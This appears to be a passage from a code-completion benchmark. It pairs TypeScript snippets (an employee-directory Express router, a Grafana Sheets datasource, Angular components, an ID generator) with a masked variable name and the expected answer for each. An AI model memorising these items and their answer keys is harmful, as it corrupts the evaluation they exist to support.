            employeesByDept = _.orderBy(employeesByDept, [employee => employee.full_name], ['asc'])

            let departments = _.groupBy(employeesByDept, item => `${item.department}`);

            for (const [key, value] of Object.entries(departments)) {
                const groupByDivision: any = _.groupBy(departments[key], (department) => department.division);

                departments[key] = groupByDivision;

            }

            let finalResult: any
            switch (groupBy) {
                case 0:
                    finalResult = employeesByDept
                    break;
                case 1:
                    finalResult = departments
                    break;
                case 2:
                    finalResult = _.groupBy(employeesByDept, item => `${item.address}, ${item.community}`);
                    break;
                case 3:
                    finalResult = _.groupBy(employeesByDept, item => `${item.title}`);
                    break;
            }

            res.send({ data: finalResult, meta: { count: employeesByDept.length } });
        })
        .catch((error: any) => {
            console.log(error);
        });
});

employeesRouter.post(""/find-employee/employee-detail/:department/:full_name"", [param(""full_name"", ""department"").notEmpty()], async (req: Request, res: Response) => {

    var employeeArr: any[] = Array();
    var find = '-';
    var reg = new RegExp(find, 'g');

    let paramDepartment = (req.params.department).replace(/\--/g, '-/-').replace(reg, ' ')
    let paramFullName = (req.params.full_name)
    var resultEmployees = await employeeService.getEmployee(paramDepartment, paramFullName);
    if(resultEmployees){
            if (resultEmployees.length === 0) {
                return res.send({ data: true })
            }

            if (resultEmployees[0] && resultEmployees[0].community && resultEmployees[0].address !== '' || null) {
                if (resultEmployees[0].latitude !== null) {
                    resultEmployees[0].center.lat = resultEmployees[0].latitude
                    resultEmployees[0].center.lng = resultEmployees[0].longitude
                } else {

                    await axios.get(`https://geocode-api.arcgis.com/arcgis/rest/services/World/GeocodeServer/findAddressCandidates?address={${resultEmployees[0].community},${resultEmployees[0].address}}&outFields={}&f=json&token=${ESRI_KEY}`)
                        .then((response: any) => {
                            
                            if(response.data.candidates){
                                const center = response.data.candidates[0].location
                                resultEmployees[0].center.lat = center.y;
                                resultEmployees[0].center.lng = center.x;
                            }
                            else{
                                console.log('Error in ESRI:' + JSON.stringify(response.data));
                                resultEmployees[0].center = null;
                            }
                        }).catch((error: any) => {
                            console.log(error)
                        })
                }
            } else resultEmployees[0].center = null

            let managerName: any
            var managerFilter = [];
            if (resultEmployees[0] && resultEmployees[0].manager){
                managerName = resultEmployees[0].manager;
                if(managerName){
                    managerFilter = await employeeService.getEmployee(paramDepartment, managerName);
                }
            }
            res.send({ data: resultEmployees, meta: { manager: managerFilter } });
      
    }else{
        return res.send({ data: true });
    }
});

employeesRouter.post(""/find-employee/:department/:division/:branch?"", [param(""department"", ""division""), param('branch').notEmpty()], async (req: Request, res: Response) => {
    let groupBy = (req.body.groupBy) || 0;

    var employeesByDept: any[] = Array();
    var managersMissing: any[] = Array();
    var _ = require(""lodash"");
   
    var find = '-';
    var reg = new RegExp(find, 'g');

    let paramDepartment = (req.params.department.replace(/\--/g, '-/-').replace(reg, ' '))
    let paramDivision = (req.params.division)
    let paramBranch = (req.params.branch)

    var notDivision = paramDivision === 'not-division';



    var onlyDept = paramDivision === 'only-department' && paramBranch === 'only-department'

    if (paramDivision === 'not-division') {
        paramDivision = ''
    } else {
        paramDivision = (req.params.division.replace(reg, ' '))
    }

    var notBranch = paramBranch === 'not-branch';
    if (paramBranch === 'all-branches' || paramBranch === 'all branches') {
        paramBranch = ''
    } else {
        paramBranch = req.params.branch.replace(reg, ' ')
    }

    var params_var = {
        department: paramDepartment,
        ...(paramDivision != '' &&  !onlyDept && { division: paramDivision }),
    };

    axios.get(String(EMPLOYEEJSON), { params: params_var })
        .then((response: any) => {

            var resultEmployees = response.data.employees;

            resultEmployees.forEach(function (element: any) {
                var division_url = element.division !== null ? element.division.replace(/\s/g, '-') : '';
                var employee: EmployeeTable = {
                    'full_name': element.full_name.replace(""."", "" ""),
                    'formatted_name': element.first_name + ' ' + element.last_name,
                    'title': element.title !== '' ? element.title : '-',
                    'division': element.division !== null ? element.division : '-',
                    'branch': element.branch !== null ? element.branch : '',
                    'email': element.email.toLowerCase(),
                    'phone_office': element.phone_office !== '' ? element.phone_office : '-',
                    'department': element.department,
                    'manager': element.manager !== '' ? element.manager?.replace(""."", "" "") : '-',
                    'division_url': division_url,
                    'full_name_url': element.full_name,
                    'value': 0,
                    'address': element.address,
                    'community': element.community,

                };

                employeesByDept.push(employee);
            });
            
            let employeesByDivision = employeesByDept

             if (notBranch) {
                employeesByDivision = employeesByDivision.filter(item => { return item.branch === '-' || _.isUndefined(item.branch) || _.isEmpty(item.branch) })
            } else if (paramBranch !== '' && !onlyDept) {
                employeesByDivision = employeesByDivision.filter(item => { return item.branch.indexOf(paramBranch) >= 0 })
            }
            //Get the number of employees displayed in the grid.
            let divLength = employeesByDivision.length

            //Get all the Managers' name
            var managersNameByDivision = _.uniq(_.map(employeesByDivision, 'manager'));
            //Get all the employees' name
            var namesByDivision = _.map(employeesByDivision, 'full_name');

            //Check if all managers exist in the consulted department/branch.
            var namesMissing = _.difference(managersNameByDivision, namesByDivision);

            if (!_.isEmpty(namesMissing)) {
                managersMissing = namesMissing.map(function (name: string) {
                    let managerMissing = _.find(employeesByDivision, { full_name: name });
                    if (!_.isUndefined(managerMissing)) {
                        managerMissing.manager = managerMissing.full_name;
                        return managerMissing;
                    }
                });
            }

            managersMissing = _.compact(managersMissing);

            //Add the managers missing in the array
            if (!_.isEmpty(employeesByDivision) && !_.isEmpty(managersMissing)) {
                employeesByDivision = _.union(employeesByDivision, managersMissing);
            }

            //Get all the Managers' name
            managersNameByDivision = _.uniq(_.map(employeesByDivision, 'manager'));
            //Get all the employees' name
            namesByDivision = _.map(employeesByDivision, 'full_name');
            //Check if all managers exist in the consulted department/branch.
            namesMissing = _.difference(managersNameByDivision, namesByDivision);

            //Change the manager's name if the manager is not in the same department, remove from the hierarchy
            employeesByDivision = employeesByDivision.map(function (item: any) {
                if (_.indexOf(namesMissing, item.manager) >= 0) {
                    item.manager = item.full_name;
                }
                return item;
            });

            //Obtain all objects from managers
            let managersByDivision = employeesByDivision.filter(item => {
                if (_.isEmpty(item.manager) || item.manager === '-' || item.manager === item.full_name) {
                    item.level = 0;
                    return true;
                }
            });

            //Obtain all employee objects not in Manager's array.
            let  [MASK]  = employeesByDivision.filter(function (e) {
                return !_.find(managersByDivision, { full_name: e.full_name })
            })

            const getEmployeesByManager = (employeesArray: any, currentManager: any, level: any) => {
                employeesArray = _.orderBy(employeesArray, ['full_name'],['asc']);
                const currentEmployees = employeesArray.filter(
                    (employee: any) => employee.manager === currentManager.full_name
                );
                if (!currentEmployees.length) {
                    return [currentManager];
                }
                let employeesList: any = [];
                const currentLevel = level + 1;
                employeesList = currentEmployees.map(function (item: any) {
                    item.level = currentLevel;
                    item.value += currentManager.value
                    return item;
                });
                for (const employee__ of employeesList) {
                    const employees = getEmployeesByManager(employeesArray, employee__, currentLevel);
                    employeesList = [...employeesList, employees];
                }
                return [currentManager, ...employeesList.flat()];
            }

            let result: any = [];
            let levelOfDepth: any = 0;
            managersByDivision = _.orderBy(managersByDivision, ['full_name'],['asc']);
            for (const manager of managersByDivision) {
                levelOfDepth = _.isUndefined(manager.level) ? 0 : manager.level;
                result = [...result, ...getEmployeesByManager( [MASK] , manager, levelOfDepth)];
            }

            let resultRev = result.slice().reverse();
            let resultFilttered = resultRev.filter(function (elem: any, index: any, self: any) {
                return index == self.indexOf(elem);
            });

            let finalResult = resultFilttered.slice().reverse();
            finalResult = finalResult.filter(function (elem: any, index: any, self: any) {
                return index == self.indexOf(elem);
            });

            let endResult: any
            //Return the grouped array 
            switch (groupBy) {
                case 0:
                    endResult = finalResult
                    break;
                case 1:
                    endResult = _.groupBy(finalResult, function (item: any) { return `${item.address}, ${item.community}` });
                    break;
                case 2:
                    endResult = _.groupBy(finalResult, function (item: any) { return `${item.title}` });
                    break;
            }
            res.send({ data: endResult, meta: { branchCount: finalResult.length, divisionCount: divLength } });
        })
        .catch((error: any) => {
            console.log(error);
        });
});

employeesRouter.post(""/find-employee/:department/"", [param(""department"").notEmpty()], async (req: Request, res: Response) => {

    var find = '-';
    var reg = new RegExp(find, 'g');
    var _ = require(""lodash"");
    let paramDepartment = (req.params.department.replace(/\--/g, '-/-').replace(reg, ' '))
    let error = false
    
    axios.get(String(DIVISIONSJSON), { params: { department: paramDepartment } })
        .then(async (response: any) => {
            
            if (response.data.divisions.length === 0) {
                    return res.send({ meta: { error: true } })
            } else {
                axios.get(String(EMPLOYEEJSON), { params: { department: paramDepartment } })
                    .then((response: any) => {

                        var resultEmployees = response.data.employees;
                        if (resultEmployees.length == 0) {
                            return res.send({ meta: { count: 0, notFound: true } });
                        }

                        let employeesByDeptSorted = _.sortBy(resultEmployees, ['null', 'division', 'branch'], ['desc', 'asc'])

                        resultEmployees.forEach((element: any) => {
                            if (element.division === null) {
                                element.division = 'Employees who are not assigned a division'
                            }
                            if (element.branch === null) {
                                element.branch = 'Employees who are not assigned a branch'
                            }
                        })

                        let division: any = _.groupBy(employeesByDeptSorted, (item: { division: any; }) => `${item.division}`);

                        for (const [key, value] of Object.entries(division)) {
                            const groupByDivision: any = _.groupBy(division[key], (division: any) => division.branch);

                            division[key] = groupByDivision;

                        }

                        return res.send({ data: division, meta: { count: 0 } });

                    })
                    .catch((error: any) => {
                        console.log(error);
                    });

            }

        }).catch((error: any) => {
            console.log(error);
        });

    axios.get(String(EMPLOYEEJSON), { params: { department: paramDepartment } })
        .then((response: any) => {

            var resultEmployees = response.data.employees;

            if (resultEmployees.length == 0) {
                res.send({ meta: { count: 0, notFound: true } });
                return
            }

            let employeesByDeptSorted = _.sortBy(resultEmployees, ['null', 'division', 'branch'], ['desc', 'asc'])

            resultEmployees.forEach((element: any) => {
                if (element.division === null) {
                    element.division = 'Employees who are not assigned a division'
                }
                if (element.branch === null) {
                    element.branch = 'Employees who are not assigned a branch'
                }
            })

            let division: any = _.groupBy(employeesByDeptSorted, (item: { division: any; }) => `${item.division}`);

            for (const [key, value] of Object.entries(division)) {
                const groupByDivision: any = _.groupBy(division[key], (division: any) => division.branch);

                division[key] = groupByDivision;

            }

            res.send({ data: division, meta: { count: 0, error } });

        })
        .catch((error: any) => {
            console.log(error);
        });
});

employeesRouter.post(""/DivisionsCard"", async (req: Request, res: Response) => {

    var find = '-';
    var reg = new RegExp(find, 'g');
    const paramDepartment = req.body.department.replace(/\--/g, '-/-')
    axios.get(String(EMPLOYEEJSON), { params: { department: paramDepartment } })
        .then((response: any) => {

            var resultEmployees = response.data.employees;
            let employeesByDeptSorted = _.sortBy(resultEmployees, ['null', 'division', 'branch'], ['desc', 'asc'])

            resultEmployees.forEach((element: any) => {
                if (element.division === null) {
                    element.division = 'Employees who are not assigned a division'
                }
                if (element.branch === null) {
                    element.branch = 'Employees who are not assigned a branch'
                }
            })

            let division: any = _.groupBy(employeesByDeptSorted, (item: { division: any; }) => `${item.division}`);


            for (const [key, value] of Object.entries(division)) {
                const groupByDivision: any = _.groupBy(division[key], (division: any) => division.branch);

                division[key] = groupByDivision;

            }

            res.send({ data: division, meta: { count: 0 } });

        })
        .catch((error: any) => {
            console.log(error);
        });
});

employeesRouter.post(""/SearchBar"", async (req: Request, res: Response) => {

    axios.get(String(DIVISIONSJSON))
        .then((response: any) => {

            var resultEmployees = response.data.divisions;
            var departments = Array();
            resultEmployees.forEach(function (element: any) {
                departments.push(element.department);
            });

            var departmentsUq = departments.filter(function (elem, index, self) {
                return index === self.indexOf(elem);
            });
            res.send({ data: departmentsUq, meta: { count: 0 } });

        })
        .catch((error: any) => {
            console.log(error);
        });
});

employeesRouter.post(""/feedbackForm"", async (req: Request, res: Response) => {
    try {
        //Content from client
        let feedbackContentSubject = sanitizeHtml(req.body.emailSubject);
        let feedbackFormContent = sanitizeHtml(req.body.emailBody);
        let emailDate = new Date();;
        let pageUrl = sanitizeHtml(req.body.pageUrl)

        const bodyContentFormatted =
            `<p><strong>Submited on:</strong> ${emailDate.toLocaleString()}</p>
        <p><strong>${feedbackContentSubject} :</strong> ${feedbackFormContent}</p> 
        <p<strong>URL:</strong> <a href=""${pageUrl}"">${pageUrl}</a></p>`;

        const sanitizedBody = sanitizeHtml(bodyContentFormatted)
        const emailHost = process.env.SMTP_SERVER;
        const emailPort: string = process.env.SMTP_PORT!;
        const emailFrom = process.env.EMAIL_FROM;
        const nameFrom = process.env.NAME_FROM;
        const subject = process.env.EMAIL_SUBJECT;
        const selfSignedConfig = {
            host: emailHost,
            port: parseInt(emailPort)
        };
        var transporter = nodemailer.createTransport(selfSignedConfig);
        const info = await transporter.sendMail({
            from: nameFrom + ' ' + emailFrom,
            to: process.env.EMAIL_TO,
            subject: subject,
            html: sanitizedBody,
        });
        res.send({ data: 'Sent' });
    } catch (error) {
        console.log(error);
    }
});
",employeesByManager
516,"import _ from 'lodash';
import moment from 'moment';
import TableModel from 'grafana/app/core/table_model';
import scriptjs from 'scriptjs';
import { DataSourceApi, DataSourceInstanceSettings, DataQueryRequest } from '@grafana/data';
import { GoogleSpreadsheetsQuery, GoogleSpreadsheetsOptions } from './types';

export default class GoogleSpreadsheetsDatasource extends DataSourceApi<GoogleSpreadsheetsQuery, GoogleSpreadsheetsOptions> {
  type: string;
  name: string;
  id: number;
  access: string;
  clientId: string;
  scopes: any;
  discoveryDocs: any;
  q: any;
  templateSrv: any;
  timeSrv: any;
  initialized: boolean;

  /** @ngInject */
  constructor( [MASK] : DataSourceInstanceSettings<GoogleSpreadsheetsOptions>, $q, templateSrv, timeSrv) {
    super( [MASK] );
    this.type =  [MASK] .type;
    this.name =  [MASK] .name;
    this.id =  [MASK] .id;
    this.access =  [MASK] .jsonData.access || 'direct';
    this.clientId =  [MASK] .jsonData.clientId;
    this.scopes = 'https://www.googleapis.com/auth/spreadsheets.readonly';
    this.discoveryDocs = ['https://sheets.googleapis.com/$discovery/rest?version=v4'];
    this.q = $q;
    this.templateSrv = templateSrv;
    this.timeSrv = timeSrv;
    this.initialized = false;
  }

  async load() {
    const deferred = this.q.defer();
    scriptjs('https://apis.google.com/js/api.js', () => {
      gapi.load('client:auth2', () => {
        gapi.client.load('sheets', 'v4', () => {
          return deferred.resolve();
        });
      });
    });
    return deferred.promise;
  }

  async initialize() {
    if (this.access === 'proxy') {
      return Promise.resolve([]); // not supported
    }
    if (this.initialized) {
      return Promise.resolve(gapi.auth2.getAuthInstance().currentUser.get());
    }

    await this.load();
    await gapi.client.init({
      clientId: this.clientId,
      scope: this.scopes,
      discoveryDocs: this.discoveryDocs,
    });

    const authInstance = gapi.auth2.getAuthInstance();
    if (!authInstance) {
      throw { message: 'failed to initialize' };
    }

    const isSignedIn = authInstance.isSignedIn.get();
    if (isSignedIn) {
      this.initialized = true;
      return authInstance.currentUser.get();
    }

    const user = await authInstance.signIn();
    this.initialized = true;

    return user;
  }

  async testDatasource() {
    try {
      await this.initialize();
      return { status: 'success', message: 'Data source is working', title: 'Success' };
    } catch (err) {
      return { status: 'error', message: err.message, title: 'Error' };
    }
  }

  async query(options: DataQueryRequest<GoogleSpreadsheetsQuery>) {
    await this.initialize();

    const results: any = await Promise.all(
      options.targets
        .filter(t => !t.hide && t.spreadsheetId)
        .map(t => {
          return this.getValues(
            this.templateSrv.replace(t.spreadsheetId, options.scopedVars),
            this.templateSrv.replace(t.range, options.scopedVars),
            t.transpose
          );
        })
    );
    const data = results
      .map((result, i) => {
        const timeFormat = options.targets[i].timeFormat;
        switch (options.targets[i].resultFormat) {
          case 'table':
            const timeKeys = (options.targets[i].timeKeys || '').split(',').map(k => {
              return parseInt(k, 10);
            });
            const table = new TableModel();
            table.columns = result.values[0].map((v, i) => {
              if (timeKeys && timeKeys.includes(i)) {
                return { text: `c${i}`, type: 'time' };
              }
              return { text: `c${i}`, type: 'string' };
            });
            if (timeKeys) {
              result.values.forEach(v => {
                timeKeys.forEach(timeKey => {
                  v[timeKey] = moment(v[timeKey], timeFormat).valueOf();
                });
              });
            }
            table.rows = result.values;
            return [table];
          default:
            let header = {};
            if (options.targets[i].useHeader) {
              header = result.values[0];
              result.values = result.values.slice(1);
            }

            const timeKey = options.targets[i].timeKey ? parseInt(options.targets[i].timeKey, 10) : 0;
            const valueKeys = (options.targets[i].valueKeys || '1').split(',').map(k => {
              return parseInt(k, 10);
            });

            const series = {};
            result.values.forEach(v => {
              let uniqueAttributeKey = 'u';
              const attrs = {};
              if (v.length > 2) {
                uniqueAttributeKey = v
                  .filter((v, k) => {
                    return k !== timeKey && !valueKeys.includes(k);
                  })
                  .map((v, k) => {
                    attrs[`attribute${k}`] = v;
                    return v;
                  })
                  .join('_');
              }
              valueKeys.forEach(valueKey => {
                const headerValue = header[valueKey] || '';
                const uniqueKey = `${uniqueAttributeKey}_${headerValue}`;
                if (!series[uniqueKey]) {
                  series[uniqueKey] = {
                    target: this.renderTemplate(
                      options.targets[i].aliasFormat,
                      Object.assign({ range: result.range }, { header: headerValue }, attrs)
                    ),
                    datapoints: [],
                  };
                }
                series[uniqueKey].datapoints.push([
                  parseFloat(v[valueKey]),
                  timeFormat ? moment(v[timeKey], timeFormat).valueOf() : parseFloat(v[timeKey]),
                ]);
              });
            });

            return Object.values(series);
        }
      })
      .flat();

    return {
      data: data,
    };
  }

  async metricFindQuery(query) {
    await this.initialize();
    
    const cellValuesQuery = query.match(/^cell_values\(([^,]+?),\s?([^,]+?)\)/);
    if (cellValuesQuery) {
      const spreadsheetId = this.templateSrv.replace(cellValuesQuery[1]);
      const range = this.templateSrv.replace(cellValuesQuery[2]);
      const result = await this.getValues(spreadsheetId, range);
      return _.uniq(result.values.flat()).map(v => {
        return {
          text: v,
        };
      });
    }

    return this.q.when([]);
  }

  async annotationQuery(options) {
    await this.initialize();

    const annotation = options.annotation;
    const spreadsheetId = this.templateSrv.replace(annotation.spreadsheetId || '');
    const range = this.templateSrv.replace(annotation.range || '');
    const timeKeys = this.templateSrv.replace(annotation.timeKeys || '0,1').split(',');
    const timeFormat = this.templateSrv.replace(annotation.timeFormat || '');
    const titleFormat = this.templateSrv.replace(annotation.titleFormat || '{{2}}');
    const textFormat = this.templateSrv.replace(annotation.textFormat || '{{3}}');
    const tagKeys = this.templateSrv.replace(annotation.tagKeys || '2,3').split(',');
    const filter = this.templateSrv.replace(annotation.filter || '');

    if (!spreadsheetId || !range) {
      return [];
    }

    const result = await this.getValues(spreadsheetId, range);
    if (_.isEmpty(result)) {
      return [];
    }

    let filterExpression: any = [];
    if (filter) {
      const filterPart = filter.split('=');
      filterExpression = [
        {
          key: filterPart[0],
          op: '=',
          value: filterPart[1].replace(/^""/, '').replace(/""$/, ''),
        },
      ];
    }
    const eventList = result.values
      .filter(value => {
        return filterExpression.every(e => {
          switch (e.op) {
            case '=':
              return value[e.key] === e.value;
            default:
              return true;
          }
        });
      })
      .map((value, i) => {
        const tags = value.filter((v, k) => {
          return tagKeys.includes(String(k));
        });
        const timeFrom = timeFormat ? moment(value[timeKeys[0]], timeFormat).valueOf() : parseInt(value[timeKeys[0]], 10);

        const event: any = [
          {
            annotation: annotation,
            time: timeFrom,
            title: this.renderTemplate(titleFormat, value),
            text: this.renderTemplate(textFormat, value),
            tags: tags,
          },
        ];
        if (timeKeys.length === 2) {
          const timeTo = timeFormat ? moment(value[timeKeys[1]], timeFormat).valueOf() : parseInt(value[timeKeys[1]], 10);
          event[0].regionId = spreadsheetId + i;
          event.push({
            regionId: spreadsheetId + i,
            annotation: annotation,
            time: timeTo,
            title: this.renderTemplate(titleFormat, value),
            text: this.renderTemplate(textFormat, value),
            tags: tags,
          });
        }
        return event;
      })
      .flat();

    return eventList;
  }

  async getValues(spreadsheetId: string, range: string, transpose = false) {
    const response = await gapi.client['sheets'].spreadsheets.values.get({
      spreadsheetId: spreadsheetId,
      range: range,
    });
    response.result.values = response.result.values.filter(v => {
      return v.length > 0;
    });
    if (transpose) {
      response.result.values = _.unzip(response.result.values);
    }
    return response.result;
  }

  renderTemplate(aliasPattern: string, aliasData) {
    const aliasRegex = /\{\{\s*(.+?)\s*\}\}/g;
    return aliasPattern.replace(aliasRegex, (match, g1) => {
      if (aliasData[g1]) {
        return aliasData[g1];
      }
      return g1;
    });
  }
}
",instanceSettings
517,"import { appState } from './app.state';

export function getLevel(score: number): number {
  let left = 1;
  let  [MASK]  = appState.preComputedScores.length - 1;

  while (left <  [MASK] ) {
    const mid = Math.floor((left +  [MASK] ) / 2);

    if (appState.preComputedScores[mid] <= score) {
      left = mid + 1;
    } else {
       [MASK]  = mid;
    }
  }

  return left - 1;
}

export function getLevelPrecise(score: number): number {
  if (score > 10000000000000000) return 0;

  const baseLevel = getLevel(score);
  const baseLevelScore = appState.preComputedScores[baseLevel];

  if (appState.memoizedScores[baseLevel] === undefined) {
    appState.memoizedScores[baseLevel] =
      appState.preComputedScores[baseLevel + 1] - baseLevelScore;
  }

  const scoreLevelDifference = appState.memoizedScores[baseLevel];
  const scoreProgress = score - baseLevelScore;
  const res = scoreProgress / scoreLevelDifference + baseLevel;

  if (!isFinite(res)) return 0;

  return res;
}
",right
518,"import { Component, Input, OnInit } from '@angular/core';
import { ChurrascometroService } from '../../services/churrascometro.service';
import { churrascosRoutes } from '../../../churrascos.routes';
import { CommonModule } from '@angular/common';
import { MatButtonModule } from '@angular/material/button';
import { Router } from '@angular/router';

@Component({
  selector: 'app-lista-produto',
  standalone: true,
  imports: [
    CommonModule,
    MatButtonModule
  ],
  templateUrl: './lista-produto.component.html',
  styleUrl: './lista-produto.component.scss'
})
export class ListaProdutoComponent implements OnInit {
  @Input() produto!: string;

  items: any[] = [];

  constructor(
    private churrascometroService: ChurrascometroService,
    private router: Router) { }

  ngOnInit(): void {
      if (this.produto === 'carnes') {
        this.churrascometroService.httpGetCarnes().subscribe({
          next: (carnes) => {
            this.items = carnes;
          }
        });
      } else {
        this.churrascometroService.httpGetBebidas().subscribe({
          next: ( [MASK] ) => {
            this.items =  [MASK] ;
          }
        });
      }
  }

  navegarParaCriacao() {
    this.router.navigate([`produtos/${this.produto}`]);
  }

  navegarParaEdicao(id: any) {
    this.router.navigate([`produtos/${this.produto}`, id]);
  }
}
",bebidas
519,"import { Component, OnInit, Inject } from '@angular/core';
import {MD_DIALOG_DATA, MdDialogRef } from '@angular/material';
import { FormGroup, FormControl, FormBuilder, Validators } from '@angular/forms';


@Component({
  selector: 'app-create-process-dialog',
  templateUrl: './create-process-dialog.component.html',
  styleUrls: ['./create-process-dialog.component.scss']
})
export class CreateProcessDialogComponent implements OnInit {

  processName;
  enterpriseID;
  newProcess;
  public editForm: FormGroup;
  selectStatus;
  selectPhase;
  processId;
  process;
  processEditControl;
  statusProcess = [
    {value: 'PRODUCAO', viewValue: 'Produção'},
    {value: 'PROTOCOLADO', viewValue: 'Protocolado'},
    {value: 'EM ANALISE', viewValue: 'Em Analise'},
    {value: 'DEFERIDO', viewValue: 'Deferido'},
    {value: 'INDEFERIDO', viewValue: 'Indeferido'}
  ];

  phaseProcess = [
    {value: 'LP', viewValue: 'LP'},
    {value: 'LI', viewValue: 'LI'},
    {value: 'LO', viewValue: 'LO'},
    {value: 'LOC', viewValue: 'LOC'}
  ];

  constructor(
    public dialogRef: MdDialogRef<CreateProcessDialogComponent>,
    @Inject(MD_DIALOG_DATA) public  [MASK] : any,
  ) {
    if ( [MASK] .processId) {
      this.processId =  [MASK] .processId;
    } else {
      this.enterpriseID =  [MASK] ;
    }
  }

  ngOnInit() {

  }

  closeDialog() {
    this.dialogRef.close();
  }
}
",dataReceive
520,"/**
 * SCRU160: Sortable, Clock and Random number-based Unique identifier
 *
 * @license Apache-2.0
 * @copyright 2021 LiosK
 * @packageDocumentation
 */

import { randomFillSync } from ""crypto"";

export { scru160, scru160f };

/** Represents SCRU160 ID generator. */
class Generator {
  /**
   * Generates a new SCRU160 ID encoded in the base32hex format.
   *
   * @returns 32-character base32hexupper string (`/^[0-9A-V]{32}$/`).
   */
  scru160(): string {
    return this.generateQuad()
      .map((x) => (""0000000"" + x.toString(32).toUpperCase()).slice(-8))
      .join("""");
  }

  /**
   * Generates a new SCRU160 ID encoded in the hexadecimal format.
   *
   * @returns 40-character hexadecimal string (`/^[0-9a-f]{40}$/`).
   */
  scru160f(): string {
    return this.generateQuad()
      .map((x) => (""000000000"" + x.toString(16)).slice(-10))
      .join("""");
  }

  /**
   * Generates a byte sequence that represents a new SCRU160 ID.
   *
   * @returns 20-byte sequence.
   */
  generate(): Uint8Array {
    const [ts, cnt] = this.getTsAndCnt();
    const  [MASK]  = new Uint8Array(6);
    for (let i = 0, n = ts; i < 6; i++, n = Math.trunc(n / 0x100)) {
       [MASK] [5 - i] = n % 0x100;
    }
    return Uint8Array.of(
      ... [MASK] ,
      cnt >> 8,
      cnt & 0xff,
      ...this.getRandomBytes(12)
    );
  }

  /** Generates a new SCRU160 ID in the form of four 40-bit integer values. */
  private generateQuad() {
    const bs = this.generate();
    const result: [number, number, number, number] = [0, 0, 0, 0];
    for (let i = 0; i < 20; i++) {
      result[Math.trunc(i / 5)] += bs[i] * 0x100 ** (4 - (i % 5));
    }
    return result;
  }

  /** Internal state - timestamp at last generation */
  private ts = 0;

  /** Internal state - counter at last generation */
  private cnt = 0;

  /**
   * Updates the internal state and returns the latest values.
   *
   * @returns The latest timestamp and counter.
   */
  private getTsAndCnt(): [number, number] {
    let newTs = Date.now();
    if (newTs <= this.ts) {
      if (++this.cnt < 0x1_0000) {
        return [this.ts, this.cnt];
      }

      // wait a moment until clock goes forward
      let i = 0;
      while (newTs <= this.ts) {
        newTs = Date.now();
        if (++i > 1_000_000) {
          console.warn(
            ""scru160: reinitialized internal state as clock did not go forward; monotonicity may be broken""
          );
          break;
        }
      }
    }

    const [hi, lo] = this.getRandomBytes(2);
    this.ts = newTs;
    this.cnt = ((0x7f & hi) << 8) | lo; // reset to 15-bit random number
    return [this.ts, this.cnt];
  }

  /**
   * Returns a Uint8Array filled with (cryptographically strong) random values.
   */
  private getRandomBytes = (length: number): Uint8Array => {
    const buffer = new Uint8Array(length);
    for (let i = 0; i < length; i++) {
      buffer[i] = Math.trunc(Math.random() * 0x100);
    }
    return buffer;
  };

  /** Create a new SCRU160 generator. */
  constructor() {
    // detect CSPRNG
    if (typeof window !== ""undefined"" && window.crypto) {
      // Web Crypto API on browsers
      this.getRandomBytes = (length: number) =>
        window.crypto.getRandomValues(new Uint8Array(length));
    } else if (randomFillSync) {
      // Node.js Crypto
      this.getRandomBytes = (length: number) =>
        randomFillSync(new Uint8Array(length));
    } else {
      console.warn(
        ""scru160: fell back on Math.random() as no cryptographic RNG was detected""
      );
    }
  }
}

const defaultGenerator = new Generator();

/**
 * Generates a new SCRU160 ID encoded in the base32hex format.
 *
 * @returns 32-character base32hexupper string (`/^[0-9A-V]{32}$/`).
 */
const scru160 = (): string => defaultGenerator.scru160();

/**
 * Generates a new SCRU160 ID encoded in the hexadecimal format.
 *
 * @returns 40-character hexadecimal string (`/^[0-9a-f]{40}$/`).
 */
const scru160f = (): string => defaultGenerator.scru160f();
",tsBytes
521,"import { ConditionPreset } from '../interfaces/conditionPreset';

export const releaseConditionPresets: ConditionPreset[] = [
  {
    key: 'custom',
    name: 'Custom Condition',
    description: 'Manually configure the payment release criteria',
    conditionApi: '',
    conditionField: '',
    conditionFieldType: 'text',
    conditionOperator: '=',
    conditionValue: '',
  },
  {
    key: 'demo',
    name: 'Demo',
    description: 'The NOTAI demo API call',
    conditionApi:
      'https://raw.githubusercontent.com/jnlewis/notai-web/main/public/example/api-response-true.json',
    conditionField: '$.payment.canBeClaimed',
    conditionFieldType: 'text',
    conditionOperator: '=',
    conditionValue: 'yes',
  },
  {
    key: 'specific-date',
    name: 'On a specific date',
    description: 'Payment can be claimed on a specific date (UTC time)',
    conditionApi: 'https://worldtimeapi.org/api/timezone/Etc/UTC',
    conditionField: '$.utc_datetime',
    conditionFieldType: 'datetime',
    conditionOperator: '>=',
    conditionValue: '2022-01-01',
  },
  {
    key: 'bitcoin-above-100k',
    name: 'Bitcoin Price Above 100k',
    description: 'Payment can be claimed when a bitcoin price above 100,000',
    conditionApi: 'https://api.coindesk.com/v1/bpi/currentprice.json',
    conditionField: '$.bpi.USD.rate_float',
    conditionFieldType: 'number',
    conditionOperator: '>',
    conditionValue: '100000.00',
  },
];

export function getReleaseConditionPreset(name: string): ConditionPreset {
  return releaseConditionPresets.find(( [MASK] ) =>  [MASK] .name == name);
}
",item
522,"/**
 * Copyright (c) 2021-2022 Huawei Device Co., Ltd.
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

export class DateTimeCommon {
  getSystemTime( [MASK] : boolean) {
    let dateTime = new Date();
    let hours = dateTime.getHours();
    if (! [MASK]  && hours > 12) {
      hours = hours % 12;
    }
    let minutes = dateTime.getMinutes();
    let time = this.concatTime(hours, minutes)
    return time;
  }

  getSystemDate(): {} {
    let dateTime = new Date();
    let result = {
      'year': dateTime.getFullYear(),
      'month': dateTime.getMonth() + 1,
      'day': dateTime.getDate()
    }
    return result
  }

  getSystemWeek() {
    let dateTime = new Date();
    let days = dateTime.getDay();
    let week = this.convert(days)
    return week
  }

  concatTime(hours, minutes): string{
    return `${this.fill(hours)}:${this.fill(minutes)}`;
  };

  fill(value) {
    return (value > 9 ? """" : ""0"") + value;
  };

  convert(days) {
    switch (days) {
      case 0:
        return $r('app.string.sunday');
        break;
      case 1:
        return $r('app.string.monday');
        break;
      case 2:
        return $r('app.string.tuesday');
        break;
      case 3:
        return $r('app.string.wednesday');
        break;
      case 4:
        return $r('app.string.thursday');
        break;
      case 5:
        return $r('app.string.friday');
        break;
